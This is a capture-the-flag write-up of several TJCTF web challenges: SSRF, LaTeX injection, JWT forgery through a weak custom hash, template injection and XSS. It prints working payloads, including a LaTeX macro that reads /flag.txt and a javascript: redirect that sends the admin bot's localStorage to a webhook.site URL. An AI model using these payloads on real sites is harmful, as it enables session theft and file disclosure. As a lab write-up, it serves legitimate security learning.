.;,;.
smashmaster's beginner web TLDRs
smashmaster's beginner web TLDRs

smashmaster's beginner web TLDRs

June 14, 2025
6 min read
beginner-web

Introduction

this ctf had a lot of “sourceless” web, in fact like about 6 out of 8 challs did not have any source attachments at all. Some challenges used some more common techniques so I’ve opted to write somewhat of a summary for some challs, and am focusing on the two other chals with the lowest amount of solves towards the end for the sake of time. btw disclaimer, smiley did not play this ctf as a whole team, any writeups by smashmaster and HELLOPERSON should be attributed to the team participating as “Les Amateurs”.

web/loopy

Classic SSRF chall. Likely you can host a page that redirects to localhost but we just use some domain that has an A record to 127.0.0.1, and fetched http://<domain>:5000/admin to get the flag (we conviniently already had one on hand).:

web/texploit

Basically another Overleaf style latex compiler chall, since this outputs a pdf we suspect pdftex is being called. Seems like some basic commands like \include are explictly banned. As author of a similar chall I know that preventing unintendeds in this type of chall is pretty hard. Here’s an excellent resource on LaTeX that a friend compiled together (I used to use the PayloadsAllTheThings one but this one is better in various areas). I basically skimmed that for payloads that didn’t require loading another package because I was unsure what section of the document I had control over, and eventually found this payload from the filter evasion section useful:

\renewcommand\r{\ifeof\file\else\read\file to\line\line\r\fi}
\catcode`_=12
\newread\file
\openin\file=/flag.txt
\r % call the read function
\closein\file

I mainly chose this for the sake of time but there are likely other payloads out there that could evade the specific blacklist implementation. Now all that’s left to guess the flag because it isn’t rendered literally:

the flag of the chal but rendered in latex

Luckily it’s all English words so we can just guess tjctf{f1l3_i0_1n_l4t3x?} and the flag is correct!

web/front-door

A bit of reading in the chall desc carefully reveals that ‘He’s so special, everyone strives to become him.” likely means we want to impersonate the admin user. Recall that the JWT token format has 3 parts: header, payload, and signature. In this case we see an extrmee lack of entropy in the signature and this is quickly explained by some code on the products page indicating they replaced the normal signature algorithm with their “custom hash”.

def has(inp):
hashed = ""
key = jwt_key
for i in range(64):
hashed = hashed + hash_char(inp[i % len(inp)], key[i % len(key)])
return hashed
def hash_char(hash_char, key_char):
return chr(pow(ord(hash_char), ord(key_char), 26) + 65)

Notice that i is never exceeds 63, so the hash never considers any character past the 64th character so we can introduce a “collision” by getting a sample of a hash from the server of a very long username and then updating data after the 64th character.

Once we’ve impersonated the admin user with appending the property "admin": "true" to the end, we find ourselves greeted with a new button called “TODO” and we are now addressed as “GREAT ADMIN’. Unfortunately, the challenge is not yet over.

great admin todo list is just a bunch of lists of integers

If we take the length of one these lists we can see one of them is longer than 64 so the custom hash is unrelated here. It turns out we are supposed to convert these lists into a single binary file. Once we do that we chuck it into CyberChef’s magic tool on intensive mode and it takes out the guesswork of knowing that XORing this with a specific key gives the following:

Fix glitchesAdvertise companyCreate "business_secrets" page -- made it but no button to access yetTake over the world -- almost done

CyberChef magic correctly guessing XOR encrypption

Going to /business_secrets we find the flag: tjctf{buy_h1gh_s3l1_l0w}.

web/hidden-canvas

Basically a certain exif tag would be rendered as a Jinja template and that leads to RCE.

web/markdown-renderer

This was technically the hardest web challenge if you went just by solve count but I felt tbh double nested was more intresting (and it took me more time). So it’s going here cause it’s easy in my opinion. We’re given basically a minimal hackmd/gist style markdown sharing platform and we want to read the admin’s notes. At first glance we find an obvious red flag. Essentially there’s this common pattern of redirecting to a value controlled by a url parameter if the user is already logged in but sent to a log in page (this is also how I unintended complainer from TJCTF 2023). Here’s where the pattern appears in this challenge:

register_html_excerpt.js
// check if the user is already logged in
if (localStorage.getItem('user_id')) {
const urlParams = new URLSearchParams(window.location.search);
window.location.href = urlParams.get('redirect') ?? '/';
}

and here’s the admin bot which will become very relevant in a bit

admin-bot.js
import flag from './flag.txt';
function sleep(time) {
return new Promise(resolve => {
setTimeout(resolve, time)
});
}
export default {
id: 'markdown-renderer',
name: 'markdown-renderer',
urlRegex: /^https:\/\/markdown-renderer\.tjc\.tf\/markdown\/[a-z0-9-]+$/,
timeout: 20000,
handler: async (url, ctx) => {
const page = await ctx.newPage();
page.on('dialog', async dialog => {
await dialog.accept();
});
// register the admin user
await page.goto('https://markdown-renderer.tjc.tf/register', { timeout: 3000, waitUntil: 'domcontentloaded' });
await page.type('#username', 'admin');
await page.click('button[type="submit"]');
await sleep(1000);
// make new markdown file
await page.type('#markdown', `# facts about me\ni love flags! (\`${flag.trim()}\`)\ni'm super locked in...`);
await page.click('#renderButton')
await sleep(1000);
// go to your markdown file
await page.goto(url, { timeout: 3000, waitUntil: 'domcontentloaded' });
await sleep(1000);
// open my own markdown file (better than yours)
await page.click(`#markdownList>li>a`);
await sleep(5000);
}
};

In this chall, the markdown notes are synced server side like a typical cloud note taking app so we should be able to view the flag after stealing the admin’s localStorage. We’re working a bit backwards here, but it’ll make sense in a bit when we meet in the middle. Unfortunately there’s a URL regex in place to prevent us from navigating to the XSS vulnerable endpoint. Not to worry, this means we just have to get there from a markdown note we control I guess, at least according to the regex.

Looking a bit closer at the source we notice that the standard practices for rendering markdown are in place using both up to date versions (enough) of Marked and DOMPurify with no major vulnerabilities. However the clicking in the admin bot is a bit intresting in that it uses a selector composed of entirely elements we can create within DOMPurify restrictions.

It turns out, and you may know this if you’ve seen enough GitHub repos the parser and dompurify combo is lenieent enough that you can just start writing HTML instead of actual markdown. DOMPurify doesn’t care too much about the HTML elements we put in, as long as they’re not obviously malicious like a script element. An anchor element inside a list item is perfectly fine and possible within normal markdown syntax and DOMPurify won’t care about assigning a id attribute of our choice either. Our final payload ended up being like

notreallymarkdown.md
<ul id="markdownList">
<li><a href="https://markdown-renderer.tjc.tf/register?redirect=javascript:fetch%28%22https%3A%2F%2Fwebhook.site%2Fae6969b8-a6c1-43b0-b347-6cda598b5f7d%2F%3Fls%3D%22%2Bbtoa%28JSON.stringify%28localStorage%29%29%29">click here you stupid bot</a></li>
</ul>

Now we just create a note and submit it’s link to the admin bot and watch as our token pops up in the webhook, impersonate the admin, and get the flag: tjctf{sup3r_m4rked_1n_html_ea3c22e841b}.

So in conclusion, selectors can sometimes be extremely vague and a source of confusion. There was another challenge we cheesed a while ago due to bad admin bot design but I’m not sure if the writeup is ever making it outside the dev branch of this website.